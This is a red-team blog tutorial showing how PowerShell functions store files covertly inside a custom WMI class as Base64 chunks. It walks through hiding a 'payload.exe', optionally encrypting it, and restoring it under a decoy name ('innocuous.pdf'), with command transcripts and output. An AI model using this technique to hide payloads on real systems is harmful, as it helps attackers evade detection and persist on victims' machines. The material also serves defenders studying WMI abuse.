Getting Started with WMI Weaponization – Part 6

Covert File Storage

Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.

To simplify this process, I created a module called Invoke-WMIFS.ps1. To start we will import the module:

PS C:\> Import-Module Invoke-WMIFS.ps1

This module provides the following functions:

  • Get-WmiLength
  • New-WmiClass
  • ConvertTo-Base64
  • ConvertFrom-Base64
  • Invoke-InsertFile
  • Invoke-RetrieveFile

To start, we use the function New-WmiClass to create a class that is preconfigured to store the files.

PS C:\> $ClassName = "WMIFS"
PS C:\> New-WmiClass -ClassName $ClassName

Path          : \\.\root\cimv2:WMIFS
RelativePath  : WMIFS
Server        : .
NamespacePath : root\cimv2
ClassName     : WMIFS
IsClass       : True
IsInstance    : False
IsSingleton   : False

PS C:\> Get-CimClass -ClassName $ClassName

 NameSpace: ROOT/cimv2
CimClassName CimClassMethods CimClassProperties
------------ --------------- ------------------
WMIFS        {}              {FileName, FileStore, Index}

This new class has three properties: FileStore, FileName, and Index.

We then use the function Get-WmiLength to retrieve the max length of a string that can be inserted into the class. This can vary somewhat and should be discovered each time.

PS C:\> $Length = Get-WmiLength -Verbose -ClassName $ClassName
VERBOSE: Testing Length 8000
VERBOSE: Testing Length 8143
Set-WmiInstance : Quota violation
At C:\Invoke-WMIFS.ps1:19 char:27
+ ... $Insert = Set-WmiInstance -Class $ClassName -Arguments @{
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 + CategoryInfo : InvalidOperation: (:) [Set-WmiInstance], ManagementException
 + FullyQualifiedErrorId : SetWMIManagementException,Microsoft.PowerShell.Commands.SetWmiInstance

PS C:\> $Length

In this test we are looking for WMI to throw a Quota Violation indicating the string is too long to be inserted.

In this example, we are inserting an executable file, and for this we use the ConvertTo-Base64 function.

PS C:\> $FileName = "payload.exe"
PS C:\> $EncodedText = ConvertTo-Base64 -FileName $FileName -Verbose
VERBOSE: Reading C:\Windows\System32\payload.exe
VERBOSE: Encoding C:\Windows\System32\payload.exe
VERBOSE: Finished Encoding C:\Windows\System32\payload.exe

Then to place the file into out WMIFS WMI class we use the Invoke-InsertFile function. This will slice the file into lengths predetermined by Get-WmiLength and place the chunks into the class we created.

PS C:\> Invoke-InsertFile -EncodedText $EncodedText -FileName $FileName -ClassName $ClassName -StrLen $Length -Verbose
VERBOSE: Inserting Section: 0 to 8100
VERBOSE: Inserting Section: 1927800 to 1935900

To later retrieve the file, we use the Invoke-RetrieveFile, which operates Invoke-InsertFile in reverse. It will retrieve the file from WMI and then reassemble it in order.

PS C:\> $File = Invoke-RetrieveFile -FileName $FileName -ClassName $ClassName -Verbose3
VERBOSE: Reading Section 0 (8100) 
VERBOSE: Reading Section 238 (7468)

Then to write the file back to disk, we use the ConvertFrom-Base64 function.

PS C:\> ConvertFrom-Base64 -EncodedText $File -FileName 'C:\innocuous.pdf' -Verbose
VERBOSE: Decoding File
VERBOSE: Finished Decoding File
VERBOSE: Writing File to Disk as C:\innocuous.pdf

Additionally, the option to use the pipeline and encrypt the file store is available. By default, it uses the current user’s certificate as the encryption key, but optionally a key can be explicitly specified.

PS C:\> ConvertTo-Base64 -FileName .\SuperSecret.pdf -Verbose | Invoke-InsertFile -FileName SuperSecret.pdf -ClassName WMIFS -Encrypt -Verbose
VERBOSE: Reading .\SuperSecret.pdf
VERBOSE: Encoding .\SuperSecret.pdf
VERBOSE: Finished Encoding .\SuperSecret.pdf
VERBOSE: Inserting Section: 0 to 1904 (0)
VERBOSE: Inserting Section: 1904 to 3808 (1)
VERBOSE: Inserting Section: 3808 to 5712 (2)
VERBOSE: Inserting Section: 5712 to 7616 (3)

Later the file can be retrieved and decrypted.

PS C:\> Invoke-RetrieveFile -FileName SuperSecret.pdf -ClassName WMIFS -Decrypt -Verbose | ConvertFrom-Base64 -WriteToDisk -FileName .\SuperSecret.pdf
VERBOSE: Reading Section 0 (7908)
VERBOSE: Reading Section 1 (7908)
VERBOSE: Reading Section 2 (7908)
VERBOSE: Reading Section 3 (7908) 

NetSPI acquires nVisium, bringing top penetration testing talent together.